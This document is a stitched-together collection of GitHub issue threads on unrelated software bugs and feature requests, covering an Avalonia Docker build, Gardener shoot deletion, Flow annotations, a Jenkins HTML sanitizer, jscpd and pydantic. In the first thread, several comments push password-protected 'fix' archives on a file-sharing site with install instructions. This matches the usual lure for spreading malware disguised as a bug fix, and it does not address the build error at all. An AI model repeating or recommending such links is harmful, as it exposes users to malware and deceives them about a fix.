dotnetAvalonia release build not working

Log:
 *  Executing task: pwsh -nop .conf/validateDepsRunning.ps1

⚠ VALIDATING ENVIRONMENT

✅ Environment is valid!

 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: bash -c [[ ! -z "<IP_ADDRESS>" ]] && true || false

 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: bash -c [[ "aarch64" == "aarch64" ]] && true || false

 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: sleep 1

 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: sshpass -p 123 scp -P 22 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no /home/andreriesco/Documents/IDE2.0/apollox/apollox-vscode/IDE2autoTests/autoTests-260-arm64-2024-08-23T17-57-22-177Z/autoTestdotnetAvalonia/docker-compose.yml torizon@<IP_ADDRESS>:~/

Warning: Permanently added '<IP_ADDRESS>' (ED25519) to the list of known hosts.
 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: DOCKER_HOST=<IP_ADDRESS>:2375 docker image prune -f --filter=dangling=true

Total reclaimed space: 0B
 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: docker compose -p torizon stop autotests260arm64 autotests260arm64-debug && docker compose -p torizon rm -f autotests260arm64 autotests260arm64-debug

No stopped containers
 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: pwsh -nop /home/andreriesco/Documents/IDE2.0/apollox/apollox-vscode/IDE2autoTests/autoTests-260-arm64-2024-08-23T17-57-22-177Z/autoTestdotnetAvalonia/.conf/torizonPackages.ps1 aarch64

Applying torizonPackages.json ...
Applying to Dockerfile.debug ...
✅ Dockerfile.debug
Applying to Dockerfile ...
✅ Dockerfile
torizonPackages.json applied
 *  Terminal will be reused by tasks, press any key to close it.

 *  Executing task: DOCKER_HOST= docker compose build --pull --build-arg SSHUSERNAME=torizon --build-arg APP_ROOT=/home/torizon/app --build-arg IMAGE_ARCH=arm64 --build-arg GPU=-imx8 autotests260arm64

WARN[0000] The "LOCAL_REGISTRY" variable is not set. Defaulting to a blank string.
WARN[0000] /home/andreriesco/Documents/IDE2.0/apollox/apollox-vscode/IDE2autoTests/autoTests-260-arm64-2024-08-23T17-57-22-177Z/autoTestdotnetAvalonia/docker-compose.yml: the attribute `version` is obsolete, it will be ignored, please remove it to avoid potential confusion
[+] Building 1.1s (11/15)                                                                                docker-container:sharp_murdock
 => [autotests260arm64 internal] load build definition from Dockerfile                                                                                0.0s
 => => transferring dockerfile: 2.64kB                                                                                0.0s
 => [autotests260arm64 internal] load metadata for docker.io/commontorizon/dotnet-x-gtk:3-8.0                                                                  0.7s
 => [autotests260arm64 internal] load metadata for mcr.microsoft.com/dotnet/sdk:8.0                                                                            0.3s
 => [autotests260arm64 internal] load .dockerignore                                                                                0.0s
 => => transferring context: 56B                                                                                0.0s
 => [autotests260arm64 internal] load build context                                                                                0.0s
 => => transferring context: 29.95kB                                                                                0.0s
 => [autotests260arm64 build 1/4] FROM mcr.microsoft.com/dotnet/sdk:8.0@sha256:8c6beed050a602970c3d275756ed3c19065e42ce6ca0809f5a6fcbf5d36fd305                0.0s
 => => resolve mcr.microsoft.com/dotnet/sdk:8.0@sha256:8c6beed050a602970c3d275756ed3c19065e42ce6ca0809f5a6fcbf5d36fd305                                        0.0s
 => [autotests260arm64 deploy 1/6] FROM docker.io/commontorizon/dotnet-x-gtk:3-8.0@sha256:eb66e851fb02a5a854ef656c40c950c4988965c3638bc7c27e4a837a509725ea     0.3s
 => => resolve docker.io/commontorizon/dotnet-x-gtk:3-8.0@sha256:eb66e851fb02a5a854ef656c40c950c4988965c3638bc7c27e4a837a509725ea                              0.0s
 => => sha256:5eab15d82c3178c96e2ebca776a7f730f4712ff3ae213d3a86a3151759826214 0B / 23.83MB                                                                    0.3s
 => => sha256:3cd58db08e64883d8b0267098b431d4b1f4e6e4960aaefd2afd03639056339b8 0B / 594B                                                                       0.3s
 => => sha256:8f1fab6cfa88f73d7467763cd8af91504633451504d65acc6ef4eaca8bb988e8 0B / 594B                                                                       0.3s
 => => sha256:7ab54f5052ee177a46138d885f4327d65f8b7601fc2cd18436fa60022a362b90 0B / 27.05MB                                                                    0.3s
 => CACHED [autotests260arm64 build 2/4] COPY . /home/torizon/app                                                                                0.0s
 => CACHED [autotests260arm64 build 3/4] WORKDIR /home/torizon/app                                                                                0.0s
 => ERROR [autotests260arm64 build 4/4] RUN dotnet restore && dotnet publish -c Release -r linux-arm64 --no-self-contained && if [ "arm64" = "amd64" ]; then   0.2s
 => CANCELED [autotests260arm64 deploy 2/6] RUN sed -i 's/sid/bookworm/g' /etc/apt/sources.list.d/debian.sources                                               0.0s
------
 > [autotests260arm64 build 4/4] RUN dotnet restore && dotnet publish -c Release -r linux-arm64 --no-self-contained && if [ "arm64" = "amd64" ]; then     mv ./bin/Release/net8.0/linux-x64 ./bin/Release/net8.0/linux-amd64 ; fi:
0.179 MSBUILD : error MSB1011: Specify which project or solution file to use because this folder contains more than one project or solution file.
------
failed to solve: process "/bin/sh -c dotnet restore && dotnet publish -c Release -r linux-${IMAGE_ARCH} --no-self-contained && if [ \"${IMAGE_ARCH}\" = \"amd64\" ]; then     mv ./bin/Release/net8.0/linux-x64 ./bin/Release/net8.0/linux-amd64 ; fi" did not complete successfully: exit code: 1

 *  The terminal process "/usr/bin/bash '-c', 'DOCKER_HOST= docker compose build --pull --build-arg SSHUSERNAME=torizon --build-arg APP_ROOT=/home/torizon/app --build-arg IMAGE_ARCH=arm64 --build-arg GPU=-imx8 autotests260arm64'" terminated with exit code: 17.
 *  Terminal will be reused by tasks, press any key to close it.

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

The most straightforward solution may be adding this *.generated.sln file to .dockerignore, but not sure if this file is needed for something on the production/release container image


Set default timeout for http client

Hi,
It is recommended to have a sensible default HTTP timeout.
Laravel itself has set a default timeout to their HTTP client.

https://divinglaravel.com/always-set-a-timeout-for-guzzle-requests-inside-a-queued-job
https://github.com/laravel/framework/pull/40187
https://github.com/laravel/framework/pull/40466

It should not be a breaking change for existing users.

Thanks for your contribution! This would be better suited to the SDK itself (https://github.com/kreait/firebase-php/blob/6.x/src/Firebase/Http/HttpClientOptions.php#L16), could you please create the PR there?

@jeromegamez sure, i will

@jeromegamez
When https://github.com/kreait/firebase-php/pull/723 is merged , we still need to update the doc block in config file saying "indefinitely"

Yes, I'll do that once I released the SDK and have updated the Laravel Package with the bumped dependency, thank you! 🙏


Upgrade to 1.59.0 breaks shoot deletion

How to categorize this issue?
/area control-plane
/area quality
/area usability
/kind bug
What happened:
After upgrading to Gardener 1.59.0, shoots created before the upgrade can't be deleted.
The shoot namespace on the seed is stuck in state "Terminating".
It looks like Gardener doesn't clean the secrets starting with "managedresource-" and "extension-".
As the gardener-resource-manager is already deleted by the time the namespace gets terminated, the finalizer can never be completed.
Shoots created after the upgrade get deleted normally.
What you expected to happen:
Shoots created before the upgrade get deleted normally.
How to reproduce it (as minimally and precisely as possible):

Setup Gardener 1.58.*
Create Shoot
Upgrade to Gardener 1.59.0
Delete previously created shoot

Environment:

Gardener version: 1.59.0
Kubernetes version (use kubectl version): 1.23.13
Cloud provider or hardware configuration: OpenStack

I'm having the same issue on Gardener version 1.58.0.

Thanks for reporting.
Can you please provide some Shoot YAML and some steps for reproducing this issue?

A example Shoot YAML:
apiVersion: core.gardener.cloud/v1beta1
kind: Shoot
metadata:
  annotations:
    confirmation.gardener.cloud/deletion: "true"
    gardener.cloud/created-by: system:serviceaccount:garden-dashboard:admin
  creationTimestamp: "2022-11-04T11:41:31Z"
  deletionGracePeriodSeconds: 0
  deletionTimestamp: "2022-11-04T12:08:50Z"
  finalizers:
  - gardener
  generation: 3
  labels:
    extensions.extensions.gardener.cloud/plusserver-billing-extension: "true"
    extensions.extensions.gardener.cloud/plusserver-rm-extension: "true"
    networking.extensions.gardener.cloud/cilium: "true"
    operatingsystemconfig.extensions.gardener.cloud/ubuntu: "true"
    provider.extensions.gardener.cloud/openstack: "true"
    shoot.gardener.cloud/status: unhealthy
  name: cxbt97ramk
  namespace: garden-jgnaucke
  resourceVersion: "12797431"
  uid: 56387aef-0806-462a-8f5d-221b61dcfd63
spec:
  addons:
    kubernetesDashboard:
      authenticationMode: token
      enabled: false
    nginxIngress:
      enabled: false
      externalTrafficPolicy: Cluster
  cloudProfileName: pluscloudopen
  dns:
    domain: cxbt97ramk.jgnaucke.projects.stage.gardener.get-cloud.io
  hibernation:
    schedules:
    - location: Europe/Berlin
      start: 00 17 * * 1,2,3,4,5
  kubernetes:
    allowPrivilegedContainers: true
    enableStaticTokenKubeconfig: true
    kubeAPIServer:
      enableAnonymousAuthentication: false
      enableBasicAuthentication: false
      eventTTL: 1h0m0s
      requests:
        maxMutatingInflight: 200
        maxNonMutatingInflight: 400
    kubeControllerManager:
      nodeCIDRMaskSize: 24
      nodeMonitorGracePeriod: 2m0s
      podEvictionTimeout: 2m0s
    kubeProxy:
      enabled: true
      mode: IPTables
    kubeScheduler:
      profile: balanced
    kubelet:
      failSwapOn: true
      imageGCHighThresholdPercent: 50
      imageGCLowThresholdPercent: 40
      kubeReserved:
        cpu: 80m
        memory: 1Gi
        pid: 20k
      serializeImagePulls: true
    version: 1.24.7
  maintenance:
    autoUpdate:
      kubernetesVersion: true
      machineImageVersion: true
    timeWindow:
      begin: 220000+0100
      end: 230000+0100
  networking:
    nodes: <IP_ADDRESS>/16
    pods: <IP_ADDRESS>/12
    services: <IP_ADDRESS>/12
    type: cilium
  provider:
    controlPlaneConfig:
      apiVersion: openstack.provider.extensions.gardener.cloud/v1alpha1
      kind: ControlPlaneConfig
      loadBalancerProvider: amphora
      zone: az1
    infrastructureConfig:
      apiVersion: openstack.provider.extensions.gardener.cloud/v1alpha1
      floatingPoolName: ext01
      kind: InfrastructureConfig
      networks:
        workers: <IP_ADDRESS>/16
    type: openstack
    workers:
    - cri:
        name: containerd
      machine:
        architecture: amd64
        image:
          name: ubuntu
          version: 22.4.0
        type: SCS-2V:4:100
      maxSurge: 1
      maxUnavailable: 0
      maximum: 2
      minimum: 1
      name: worker-u7bhv
      systemComponents:
        allow: true
      volume:
        size: 50Gi
      zones:
      - az1
  purpose: evaluation
  region: intern1
  secretBindingName: my-openstack-secret
  seedName: cgn02-stage
  systemComponents:
    coreDNS:
      autoscaling:
        mode: horizontal
status:
  advertisedAddresses:
  - name: external
    url: https://api.cxbt97ramk.jgnaucke.projects.stage.gardener.get-cloud.io
  - name: internal
    url: https://api.cxbt97ramk.jgnaucke.internal.stage.gardener.get-cloud.io
  clusterIdentity: shoot--jgnaucke--cxbt97ramk-56387aef-0806-462a-8f5d-221b61dcfd63-gardener-stage
  conditions:
  - lastTransitionTime: "2022-11-07T08:39:08Z"
    lastUpdateTime: "2022-11-06T12:15:43Z"
    message: Could not reach API server during client initialization.
    reason: APIServerDown
    status: Progressing
    type: APIServerAvailable
  - lastTransitionTime: "2022-11-07T08:39:08Z"
    lastUpdateTime: "2022-11-06T12:15:43Z"
    message: 'Missing required deployments: [cluster-autoscaler gardener-resource-manager
      kube-apiserver kube-controller-manager kube-scheduler]'
    reason: DeploymentMissing
    status: Progressing
    type: ControlPlaneHealthy
  - lastTransitionTime: "2022-11-04T12:14:56Z"
    lastUpdateTime: "2022-11-06T12:15:43Z"
    message: Shoot control plane has already been or is about to be deleted.
    reason: ConditionCheckError
    status: Unknown
    type: EveryNodeReady
  - lastTransitionTime: "2022-11-04T12:14:56Z"
    lastUpdateTime: "2022-11-06T12:15:43Z"
    message: Shoot control plane has already been or is about to be deleted.
    reason: ConditionCheckError
    status: Unknown
    type: SystemComponentsHealthy
  constraints:
  - lastTransitionTime: "2022-11-07T08:39:08Z"
    lastUpdateTime: "2022-11-06T12:15:43Z"
    message: Shoot control plane is not running at the moment.
    reason: ConstraintNotChecked
    status: Progressing
    type: HibernationPossible
  - lastTransitionTime: "2022-11-07T08:39:08Z"
    lastUpdateTime: "2022-11-06T12:15:43Z"
    message: Shoot control plane is not running at the moment.
    reason: ConstraintNotChecked
    status: Progressing
    type: MaintenancePreconditionsSatisfied
  gardener:
    id: r0q1Sdsy5Wtg271t52cjlR8uRJWnDtDQZbgH6zDumUPUGV2j0JCK2AId9gojVPPB
    name: gardenlet-7c667f988c-n6jnf
    version: v1.59.0
  hibernated: false
  lastErrors:
  - description: 'task "Waiting until shoot namespace in Seed has been deleted" failed:
      retry failed with context deadline exceeded, last error: namespace "shoot--jgnaucke--cxbt97ramk"
      is not yet cleaned up'
    lastUpdateTime: "2022-11-05T00:32:14Z"
    taskID: Waiting until shoot namespace in Seed has been deleted
  lastOperation:
    description: 'Flow "Shoot cluster deletion" encountered task errors: [task "Waiting
      until shoot namespace in Seed has been deleted" failed: retry failed with context
      deadline exceeded, last error: namespace "shoot--jgnaucke--cxbt97ramk" is not
      yet cleaned up]'
    lastUpdateTime: "2022-11-05T00:32:14Z"
    progress: 98
    state: Failed
    type: Delete
  observedGeneration: 3
  seedName: cgn02-stage
  technicalID: shoot--jgnaucke--cxbt97ramk
  uid: 56387aef-0806-462a-8f5d-221b61dcfd63

I already mentioned how to reproduce it in the initial issue description.
Is there something missing?

@namsral I think your issue is a different one (even if the symptoms are the same). In your case, there are also ManagedResources which are not cleaned up, but I think in @Wieneo's case (and this is also what I could reproduce) only the Secrets referenced by the ManagedResources are still stuck in the namespace.

Just for reference, I listed all remaining resources in the shoot namespace:
~ > kubectl api-resources --verbs=list --namespaced -o name \
  | xargs -n 1 kubectl get --show-kind --ignore-not-found -n shoot--jgnaucke--kzld84pzk7
NAME                                                               TYPE     DATA   AGE
secret/extension-cilium-shoot-webhooks                             Opaque   1      3d22h
secret/extension-controlplane-shoot                                Opaque   1      3d22h
secret/extension-controlplane-shoot-crds                           Opaque   1      3d22h
secret/extension-controlplane-storageclasses                       Opaque   1      3d22h
secret/extension-networking-cilium-config                          Opaque   1      3d22h
secret/extension-worker-mcm-shoot                                  Opaque   1      3d22h
secret/managedresource-addons                                      Opaque   0      3d22h
secret/managedresource-plusserver-resources                        Opaque   1      3d22h
secret/managedresource-shoot-cloud-config-execution-worker-mxocf   Opaque   1      3d22h
secret/managedresource-shoot-cloud-config-rbac                     Opaque   5      3d22h
secret/managedresource-shoot-core                                  Opaque   34     3d22h
secret/managedresource-shoot-core-cluster-autoscaler               Opaque   4      3d22h
secret/managedresource-shoot-core-cluster-identity                 Opaque   1      3d22h
secret/managedresource-shoot-core-coredns                          Opaque   10     3d22h
secret/managedresource-shoot-core-gardener-resource-manager        Opaque   2      3d22h
secret/managedresource-shoot-core-gardeneraccess                   Opaque   1      3d22h
secret/managedresource-shoot-core-kube-apiserver                   Opaque   2      3d22h
secret/managedresource-shoot-core-kube-controller-manager          Opaque   1      3d22h
secret/managedresource-shoot-core-kube-proxy                       Opaque   10     3d22h
secret/managedresource-shoot-core-kube-scheduler                   Opaque   2      3d22h
secret/managedresource-shoot-core-kube-state-metrics               Opaque   2      3d22h
secret/managedresource-shoot-core-metrics-server                   Opaque   9      3d22h
secret/managedresource-shoot-core-namespaces                       Opaque   1      3d22h
secret/managedresource-shoot-core-node-problem-detector            Opaque   7      3d22h
secret/managedresource-shoot-core-system                           Opaque   44     3d22h
secret/managedresource-shoot-core-vpn-shoot                        Opaque   9      3d22h

I opened https://github.com/gardener/gardener/pull/6964 which will fix this issue. Once again, thanks for reporting!


refactor: do not leak the nested runtime

Signed-off-by: Bugen Zhao<EMAIL_ADDRESS>hereby agree to the terms of the RisingWave Labs, Inc. Contributor License Agreement.
What's changed and what's your intention?
We used to use leak to avoid dropping a runtime nested in another runtime, since it's blocking, and tokio rejects this from happening by panicking. This is not that elegant. 😄
Checklist For Contributors

[x] I have written necessary rustdoc comments
[x] I have added necessary unit tests and integration tests
[x] I have added fuzzing tests or opened an issue to track them. (Optional, recommended for new SQL features #7934).
[x] I have demonstrated that backward compatibility is not broken by breaking changes and created issues to track deprecated features to be removed in the future. (Please refer to the issue)
[x] All checks passed in ./risedev check (or alias, ./risedev c)

Checklist For Reviewers

[ ] I have requested macro/micro-benchmarks as this PR can affect performance substantially, and the results are shown.

Documentation

[x] My PR DOES NOT contain user-facing changes.

Click here for Documentation
Types of user-facing changes
Please keep the types that apply to your changes, and remove the others.

Installation and deployment
Connector (sources & sinks)
SQL commands, functions, and operators
RisingWave cluster configuration changes
Other (please specify in the release note below)

Release note

LGTM!
However, all simulation tests failed because dropping Runtime is not implemented yet in madsim. Will fix it soon. 😅

Are we ready now? 🥰

Sure. Let me publish a version of madsim.


Document and Restructure Query Parameter Matching use-cases in a single page

Summary
There is no documentation entry for Query Parameter Matching.
I would suggest to...

Create a sub-page under https://wiremock.org/docs/request-matching/ for Query Parameter matching
Document query parameter matching basics, including cases like https://github.com/wiremock/wiremock/issues/2422
Move existing content from https://wiremock.org/docs/request-matching/ there

References

https://wiremock.org/docs/request-matching/

I can work on this @oleg-nenashev

Thanks @CAG07 , it would be much appreciated!


⚠ Jenkins Plugins Artifactory has degraded performance

In b983f7d, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1298 ms

Resolved: Jenkins Plugins Artifactory performance has improved in ce1cba9 after 26 minutes.


Comment annotations

More of a feature request perhaps...
I'm not sure the reasoning why method argument annotations need to be inline?
Could you offer a DocBlock-esque solution?  There is already the /* @flow */ annotation available so why not expand upon this to allow argument descriptors?  Something like:
/**
 * My Method.
 *
 * @param {string} foo Foo
 * @return {number} Bar
 */

My reasoning for this is that the inline code necessitates a compilation/transpilation step in your build process and I don't see a good reason for it.
Thanks either way!

My reasoning for this is that the inline code necessitates a compilation/transpilation step in your build process and I don't see a good reason for it.

not exactly what you're proposing, but you can wrap the inline annotations in comments so that you don't need a build step: http://flowtype.org/blog/2015/02/20/Flow-Comments.html

I agree.
For now, fancy annotations are not implemented in flow comments:
/* @flow */

/* : (x: string, y: number): boolean */
function foo(x, y) {
    return x.length * y === 5;
}
foo('Hello', 42);

I think this is a cleaner syntax than inline annotations.
But it would be really smarter to implement jsdoc annotations to win a lot of time because for now, I write jsdoc + flow annotations when I could write only jsdoc including flowtype.
I hope such a feature could be enabled very soon.

Either suggestion here would be really nice. I quite like @Alphapage's suggestion as it could work for inline variables as well, rather than just methods.
The reason why this is important to me is that I am writing my code in ESNext using Babel to compile it down to ES2015. However, I also use eslint for linting - which works well, even with the default parser. However, the default parser doesn't support flow type, and doesn't seem like it ever will as eslint/estree/acorn/espree/esprima are not interested in experimental features the eslint team seems to indicate on a gitter chat. So the option is to use the babel-eslint parser, which tends to encounter regular compatibility issues between the way babel/babylon does things and the way eslint expects things.
Moving type annotations to comments, would remove the experimental aspect of flow type (the modification of the syntax that requires parsers to be updated, which is complicated and error prone as evidenced above).

Oh wait, goodie, they are there: http://flowtype.org/blog/2015/02/20/Flow-Comments.html

+1 for fancy annotations in flow

Rather an JSDoc-style, I prefer expressive and concise syntax offered by (for example)

https://github.com/ericelliott/rtype
https://github.com/jsigbiz/spec

I'd prefer very much to be able to write pure ES2015 code, but provide type hints using something similar to the above in a single comment that is adjacent to the function signature. Something like @Alphapage 's code example in https://github.com/facebook/flow/issues/555#issuecomment-161931055 would be ideal.
The currently-supported comment annotations are definitely a good start, but they can interfere with code style linters, and can make code harder to read instead of easier to read (admittedly subjective).

@palmerj3 proposes to reuse the doc-style notation which was around since late 90s, at least.
In my opinion, that minimizes the overhead: no extra build step, no interleaved notation (code-comment-code-comment).
Stop piling up stuff. Do with less :)
Peace!

Surprise!  IntelliJ WebStorm understands JSDoc type declarations, reuses that info for autocompletion and linting. Magic!

+1.
Thank you for the inline annotations in comments. it would be great if it supports the following:
// @flow

/**
 * ...
 *
 * @param {number} n
 * @returns
 */
function square(n) {
  return n * n;
}

square("2");

Here seems to be the part of Flow needing updating to support this https://github.com/facebook/flow/search?p=2&q=lexer&type=&utf8=✓

Closing in favour of https://github.com/facebook/flow/issues/5670


Countdown template

Bare Bones display of the timer countdown:

Red text are editable from variables in the view.py file:

the variables are called in the html template by surrounding the variable name with {{ }}:

FYI, to view the page run the server and go to http://<IP_ADDRESS>:8000/timer/

@AlexCHLo I think I think this PR completes you task: #38
Can you review and confirm my implementation is correct?

Changes Looks good


Add support for Windows Server 2016 Family

Hi,
I've just tried to use windows_ad_domain to create a new AD forest om a Windows Server 2016 Core, like this:
windows_ad_domain "contoso.com" do
  action :create
  type "forest"
  safe_mode_pass "Passw0rd"
  domain_pass "Passw0rd"
  domain_user "Administrator"
  options ({ "DomainMode" => "Win2012R2",
             "ForestMode" => "Win2012R2",
             "InstallDNS" => "yes",
           })
end

Running kitchen coverge fails, and here is (what I think is) the relevant output:
.....
       STDOUT: The dcpromo unattended operation is replaced by the ADDSDeployment module for Windows PowerShell. For mor
e information, see http://go.microsoft.com/fwlink/?LinkId=220924

       Checking if Active Directory Domain Services binaries are installed...

       The specified argument 'DomainMode' was not recognized.
.....

ohai reports
 "os": "windows",
 "os_version": "10.0.14393",
 "platform": "windows",
 "platform_version": "10.0.14393",
 "platform_family": "windows",

on the box, so I presume the problem is caused by the comparison if node['os_version'] >= '6.2' in providers/domain.rb line 36 returning false?
Will it be possible to add support for Windows Server 2016, e.g. by using a numeric comparison of the first (major) version number >= 7 as well?

We don't have code to support 2016 yet.  You can make a feature request and we'll see if anyone picks it up.

Resolved with #112


I need OLED I2C version of the sdkconfig file (and i cannot build the project)

did you manage to build it project ?

did you manage to build it project ?

yeah i want to flash it and use with i2c oled screen.

I tried to build my own image using idf-espressif in the terminal but it is giving me several errors
I didn't try it with the i2c oled display


JsonReader is not thread safe

The code below parellizes the processing across the number of supplied keys. But StringBuilder is not thread-safe. Causes random ArrayIndexOutOfBoundsExceptions in reactive/multi-threaded environments.
https://github.com/spring-projects/spring-ai/blob/5a3521330fae18f48a3c2685d120eddf8db1d0c2/spring-ai-core/src/main/java/org/springframework/ai/reader/JsonReader.java#L95-L99
Most notable with large collections of JSON documents and keys and in reactive environments.

Thanks @NLxAROSA , just caught the same issue.
The fix is coming shortly.


Support 'class' attach-point for annotation declarations

Description:
public annotation on class;
Steps to reproduce:
Affected Versions:
OS, DB, other environment details and versions:
Related Issues (optional):

Suggested Labels (optional):

Suggested Assignees (optional):

Fixed in #25637


Createsummary removes some html tags

Hello I'm using createSummary  with Jenkins pipeline. It seems that some html tags are remove even if I set
escapeHtml to false.
Example:
def mydetails="details..."
def html= "Summary
list item
"+mydetails+""
createSummary icon: 'orange-square.png', escapeHtml: false, text: html, id: "summaryID"
Output:
in pipeline summary page I can see that the
list item
 is present, but html tags  and  are removed.
BR,
Alessio

Hi Alessio
This is a side effect of the security Issue I got in this plugin. See https://github.com/jenkinsci/badge-plugin/commit/63a7744cef33338e62898576a50bcc521d76ba9f and https://jenkins.io/security/advisory/2018-06-25/#SECURITY-906
With this finding I had to introduce a html filter to prevent malicious HTML.
I also tried a different sanitizer (https://github.com/OWASP/java-html-sanitizer) but it also filters your tags.
Regards
Marc

Hello Marc,
I'm not sure if I get it right, but badge-plugin is using plugin antisamy-markup-formatter, that, if I well understood is based on Owasp antisamy, that should be configurable:

https://github.com/andresriancho/owaspantisamy/tree/master/Java/antisamy-smoketest/src/main/webapp/WEB-INF/policies
https://github.com/andresriancho/owaspantisamy/blob/master/Java/antisamy-smoketest/src/main/webapp/WEB-INF/policies/antisamy-anythinggoes.xml

But, sincerely, from this policy files I cannot understand if it can be tuned to whitelist Details & Summary elements...if I have some free time at work I'll test just the Owasp antisamy library to see how it handles this element.
It is not a big issue working without Details & Summary elements, but I think that having collapsible element is pipeline summary could improve readability when you need to store lot of information.
BR,
Alessio

Hi Alessio
I'm also thinking of adding a global settings property to disable the html sanitize step.
By default it would be active, but could be disabled if needed.
Regards,
Marc

Hello Marc,
Adding a global settings property would be very appreciated.
Regards Patrik

Will be realeased with 1.8


cachix: 1.4.2 -> 1.3.3

I assume this is purposefully a downgrade?

Yeah, see the commit message :)


(AR Tesla example) 3D object position change in image detection example

Hello,
I have tested AR Tesla sample app in Samsung Galaxy S8. I have to found one issue regarding 3D object position Change in the real world.
Step to reproduce the issue:

Scan Tesla image and load 3D model.
After successfully load 3D model move device camera fast around the real world.
As you move camera fast in the real world some time 3D object position change and also sometimes 3D model disappear from its position.

So, my question is how to fix this issue regarding position change in the real world?

HI @mistrydarshan99,
Are you able to send a video to us so we can better see the position change?
One thing you may want to try is to wait for AR to initialize using the onTrackingUpdated callback in ViroARScene to see if that improves things.
So in your scene you'd have the following:
<ViroARScene onTrackingUpdated={this._onTrackingUpdated}>
             {renderIf(this.state.hasARInitialized, this.renderMarker())}
</ViroARScene>

onTrackingUpdated() would look like this:
_onTrackingUpdated(state, reason) {
    // if the state changes to "TRACKING_NORMAL" for the first time, then
    // that means the AR session has initialized!
    if (!this.state.hasARInitialized && state == ViroConstants.TRACKING_NORMAL) {
      this.setState({
        hasARInitialized : true,
        text : "Hello World!"
      });
    }
  },

renderIf() would be a method imported from a separate file that looks like the following:
export default function renderIf(condition, content) {
    if (condition) {
        return content;
    } else {
        return null;
    }
}

This way, the app logic is at least waiting for the AR tracking to initialize before tracking the market.

how do u solved this problem in native? car is moving when i go around it. always s8


the format commands "n" and "na" do not work for Function formatting

fixed by changing "na" spec to "N" to avoid conflict with "a" for arguments


Add development.md to BSC

containing:

[ ] Testnet address of the deployed contract
[ ] how to deploy yourself

https://github.com/threefoldfoundation/tft/blob/main/bsc/development.md


Empty file TypeError: Cannot read property 'getFormat' of undefined

Describe the bug
When the detected file is empty, the following error appears:
TypeError: Cannot read property 'getFormat' of undefined

and the subsequent detects are interrupted.
I use new InFilesDetector(), and option.mode = weak
Expected behavior
Skip these empty file or not interrupt the subsequent detects
Desktop (please complete the following information):

OS: MacOS
OS Version 10.13
NodeJS Version 10
jscpd version 3.3.0-rc.10

Thank you for the report, will investigate

Doing some investigating here to see if I can get it work.
Error:
TypeError: Cannot read property 'getFormat' of undefined
    at Statistic.matchSource (/home/user/lib/node_modules/jscpd/node_modules/@jscpd/core/dist/statistic.js:50:31)
    at Detector.emit (/home/user/lib/node_modules/jscpd/node_modules/eventemitter3/index.js:181:35)
    at Detector.<anonymous> (/home/user/lib/node_modules/jscpd/node_modules/@jscpd/core/dist/detector.js:37:22)
    at Generator.next (<anonymous>)
    at /home/user/lib/node_modules/jscpd/node_modules/@jscpd/core/dist/detector.js:8:71
    at new Promise (<anonymous>)
    at __awaiter (/home/user/lib/node_modules/jscpd/node_modules/@jscpd/core/dist/detector.js:4:12)
    at detect (/home/user/lib/node_modules/jscpd/node_modules/@jscpd/core/dist/detector.js:36:50)
    at Detector.<anonymous> (/home/user/lib/node_modules/jscpd/node_modules/@jscpd/core/dist/detector.js:51:20)
    at Generator.next (<anonymous>)

In the file<EMAIL_ADDRESS>I threw  a log statement at matchSource before it tries to getFormat
    matchSource(payload) {
        console.log(payload);
        const { source } = payload;
        const format = source.getFormat() || 'javascript';
        if (!(format in this.statistic.formats)) {

Right before the error throws the log outputs an empty payload.
...
{ source: undefined }

I'll let you know if I'm able to get it fixed in the meantime

The error is caused by a blank file containing several empty lines. This block coincidentally matched another file with the same block of empty lines. Im guessing that the detector sees this as a match but the tokenizer returns null or undefined. After finding this file and removing all the blank lines (without deleting the file) the command works again.
Kind of a neat edge case so im not sure if you want to try and handle this exception, but the error can be corrected by fixing adjusting the files in the code base (if that is an option)

Thank you, will investigate and fix

fixed at<EMAIL_ADDRESS>


to_camel and to_lower_camel not in all

Initial Checks

[X] I have searched GitHub for a duplicate issue and I'm sure this is something new
[X] I have searched Google & StackOverflow for a solution and couldn't find anything
[X] I have read and followed the docs and still think this is a bug
[X] I am confident that the issue is with pydantic (not my code, or another library in the ecosystem like FastAPI or mypy)

Description
Hi! I noticed some useful utils in _internal/_utils, such as to_camel and to_lower_camel functions. Why are they internal and not in __all__? They do not seem to be used in any way in pydantic's code, but could be useful to users, such as myself.
https://github.com/pydantic/pydantic/blob/main/pydantic/_internal/_utils.py#L139
I also saw a commit which removes __all__ from internal modules. Maybe, therefore, the above mentioned functions could be moved to pydantic/utils.
I hope this could be fixed. Thanks a lot!
Example Code
No response
Python, Pydantic & OS Version
pydantic version: 1.10.7
            pydantic compiled: True
                 install path: /Users/sariell/Desktop/bayes_test_challenge/venv/lib/python3.9/site-packages/pydantic
               python version: 3.9.14 (main, Sep  6 2022, 23:29:09)  [Clang 13.1.6 (clang-13<IP_ADDRESS>.5)]
                     platform: macOS-12.2.1-x86_64-i386-64bit
     optional deps. installed: ['typing-extensions']

Affected Components

[ ] Compatibility between releases
[X] Data validation/parsing
[ ] Data serialization - .dict() and .json()
[ ] JSON Schema
[ ] Dataclasses
[ ] Model Config
[ ] Field Types - adding or changing a particular data type
[ ] Function validation decorator
[ ] Generic Models
[ ] Other Model behaviour - construct(), pickling, private attributes, ORM mode
[ ] Plugins and integration with other tools - mypy, FastAPI, python-devtools, Hypothesis, VS Code, PyCharm, etc.

Exactly, these functions fit well to alias generators, so adding them into public domain as an util would be pretty beneficial. Plus, a library of the most useful alias_generators would be pretty neat to include in pydantic, I think.

I'll open a PR for this, also tagging #5241 for reference (so we can close it at the same time).


New kotools.types.PositiveInt type

Description
Create a new PositiveInt type in the kotools.types package and deprecate the old type from kotools.types.number.

Keep it simple by only providing its builders.

Checklist

